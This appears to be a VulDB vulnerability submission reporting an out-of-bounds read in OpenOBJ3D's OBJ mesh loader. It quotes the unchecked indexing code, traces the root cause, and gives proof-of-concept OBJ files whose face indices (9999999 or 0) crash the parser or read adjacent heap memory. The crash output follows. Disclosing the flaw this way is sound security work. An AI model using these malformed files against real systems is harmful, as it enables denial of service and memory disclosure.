Submit #1084232: imamhs (Md Imam Hossain) OpenOBJ3D 7c155f9 (initial commit, 2020-06-07) Out-of-Bounds Readinfo

Titelimamhs (Md Imam Hossain) OpenOBJ3D 7c155f9 (initial commit, 2020-06-07) Out-of-Bounds Read
Beschreibungvul found by Simon Huang([email protected]) https://github.com/imamhs/OpenOBJ3D.git The ooj_loadmesh() function in src/openobj3d.c (lines 186-210) parses OBJ file face lines and uses vertex/texture/normal index values (v1/v2/v3, t1/t2/t3, n1/n2/n3) directly as array indices without any bounds checking. These index values are long type, read from the OBJ file via sscanf. An attacker can specify arbitrary index values through a malicious OBJ file. When an index far exceeds the allocated array size (e.g., v1=9999999), it triggers a segmentation fault. When an index is 0 or a small negative number (e.g., v1=0 → v1-1=-1), it silently reads adjacent heap memory, leaking data into the face structure. Vertex, texture, and normal indices can each independently trigger the OOB read. Code Location File: src/openobj3d.c Lines: 186-210 Function: ooj_loadmesh() Vulnerable source code: sscanf(scanline, "f %ld/%ld/%ld %ld/%ld/%ld %ld/%ld/%ld", &v1, &t1, &n1, &v2, &t2, &n2, &v3, &t3, &n3); // v1/v2/v3/t1/t2/t3/n1/n2/n3 used directly as array indices, NO bounds checking: mo->f[mo->slot].v[0].x = vg.v[v1-1].x; // line 187: v1 unchecked mo->f[mo->slot].v[0].y = vg.v[v1-1].y; mo->f[mo->slot].v[0].z = vg.v[v1-1].z; mo->f[mo->slot].v[1].x = vg.v[v2-1].x; // line 190 // ... similarly for v3, t1, t2, t3, n1, n2, n3 mo->f[mo->slot].t[0].u = tg.t[t1-1].u; // line 196: t1 unchecked mo->f[mo->slot].n[0].x = nm.v[n1-1].x; // line 202: n1 unchecked Root Cause Analysis 1.v1/v2/v3 (vertex indices), t1/t2/t3 (texture coordinate indices), n1/n2/n3 (normal indices) are all long type, read directly from the OBJ file’s f (face) line via sscanf 2.These values are used directly as array indices (vg.v[v1-1], tg.t[t1-1], nm.v[n1-1]) with no bounds checking whatsoever 3.Attack scenarios: oLarge index (e.g., v1=9999999): reads far beyond the allocated array → SIGSEGV (crash) oIndex = 0 (e.g., v1=0 → v1-1=-1): reads vg.v[-1], accessing adjacent heap memory → silent data leak (no crash, but arbitrary heap data is read into the face structure) oNegative index: similar silent OOB read behavior 4.All three index types (vertex, texture, normal) can independently trigger the vulnerability Data Flow Analysis OBJ file "f" line → sscanf reads v1, t1, n1, v2, t2, n2, v3, t3, n3 (long type) ↓ v1-1, t1-1, n1-1, etc. used as array indices ↓ vg.v[v1-1].x (vertex array, size = vg.slot) tg.t[t1-1].u (texture array, size = tg.slot) nm.v[n1-1].x (normal array, size = nm.slot) ↓ No bounds check: if v1 > vg.slot or v1 < 1 → OOB READ ↓ Large index: SIGSEGV (crash) Index 0 or negative: silent heap memory read (data leak) Taint source: Face line index values in OBJ file Taint propagation: sscanf → long variables → array index (with -1 offset) Taint sink: vg.v[v1-1], tg.t[t1-1], nm.v[n1-1] array reads Exploitation Conditions Attack Vector: Malicious OBJ file — attacker specifies arbitrary index values in face lines No authentication required: Simply loading the OBJ file triggers the vulnerability No special privileges required: Any process that parses the OBJ file is affected Two exploitation modes: 1.Crash (DoS): Use very large index (e.g., 9999999) → SIGSEGV 2.Information leak: Use index=0 → vg.v[-1] silently reads adjacent heap memory All three index types (vertex, texture, normal) can independently trigger OOB read Severity: High Reproduction Steps Environment: git clone https://github.com/imamhs/OpenOBJ3D.git cd OpenOBJ3D Compile: gcc -g -O0 -I src -o harness harness.c src/openobj3d.c Trigger (crash via large index): ./harness poc1_oob_read # PoC OBJ file contains: f 9999999/1/1 1/1/1 2/1/1 # Expected: Segmentation fault (exit code 139) Trigger (silent OOB read via index 0): ./harness poc1b_silent_oob # PoC OBJ file contains: f 0/1/1 1/1/1 2/1/1 # Expected: No crash, but heap memory data is silently read into face structure PoC Script/Code poc1_oob_read.obj (crash via large index): v 0.0 0.0 0.0 v 1.0 0.0 0.0 v 0.0 1.0 0.0 vt 0.0 0.0 vt 1.0 0.0 vt 0.0 1.0 vn 0.0 0.0 1.0 vn 0.0 0.0 1.0 vn 0.0 0.0 1.0 usemtl mat1_NONE f 9999999/1/1 1/1/1 2/1/1 poc1_oob_read.mtl: newmtl mat1_NONE Ka 1.0 1.0 1.0 Kd 1.0 1.0 1.0 Ks 0.0 0.0 0.0 poc1b_silent_oob.obj (silent OOB read via index 0): v 0.0 0.0 0.0 v 1.0 0.0 0.0 v 0.0 1.0 0.0 vt 0.0 0.0 vt 1.0 0.0 vt 0.0 1.0 vn 0.0 0.0 1.0 vn 0.0 0.0 1.0 vn 0.0 0.0 1.0 usemtl mat1_NONE f 0/1/1 1/1/1 2/1/1 Crash Verification Results Crash via large index (v1=9999999): --- PoC 1: OOB Read (face vertex index 9999999) --- bash: line 1: 1084576 Segmentation fault (core dumped) ./harness final_pocs/poc1_oob_read 2>&1 Exit: 139 Silent OOB read (index=0 → vg.v[-1]): --- PoC 1b: Silent OOB Read (face vertex index 0 -> vg.v[-1]) --- ooj_loadmesh returned: 0 Faces loaded: 1 Face 0: v0=(0.000000,0.000000,0.000000) v1=(1.000000,0.000000,0.000000) v2=(0.000000,1.000000,0.000000) Exit: 0 (Silently read adjacent heap memory data — no crash, but data was leaked into the face structure) Texture index OOB also confirmed: f 1/9999999/1 2/1/1 3/1/1 → segfault exit 139 f 1/1/9999999 2/1/1 3/1/1 → segfault exit 139 Impact Attack Vector: Malicious OBJ file Impact 1: Information disclosure — silent reading of adjacent heap memory (index=0 or negative) Impact 2: Denial of Service — segfault via large index value Controllability: Vertex, texture, and normal indices can all independently trigger OOB read Severity: High
Benutzer
 hl4x7eq28 (UID 89020)
Einreichung10.11.2026 09:32 (vor 24 Tagen)
Moderieren04.12.2026 09:32 (24 days later)
StatusAkzeptiert
VulDB Eintrag449628 [Simon OpenOBJ3D bis f5a522c409428de7bf68844cf8951522e3d09485 Obj File Parser src/openobj3d.c ooj_loadmesh Information Disclosure]
Punkte17

Want to stay up to date on a daily basis?

Enable the mail alert feature now!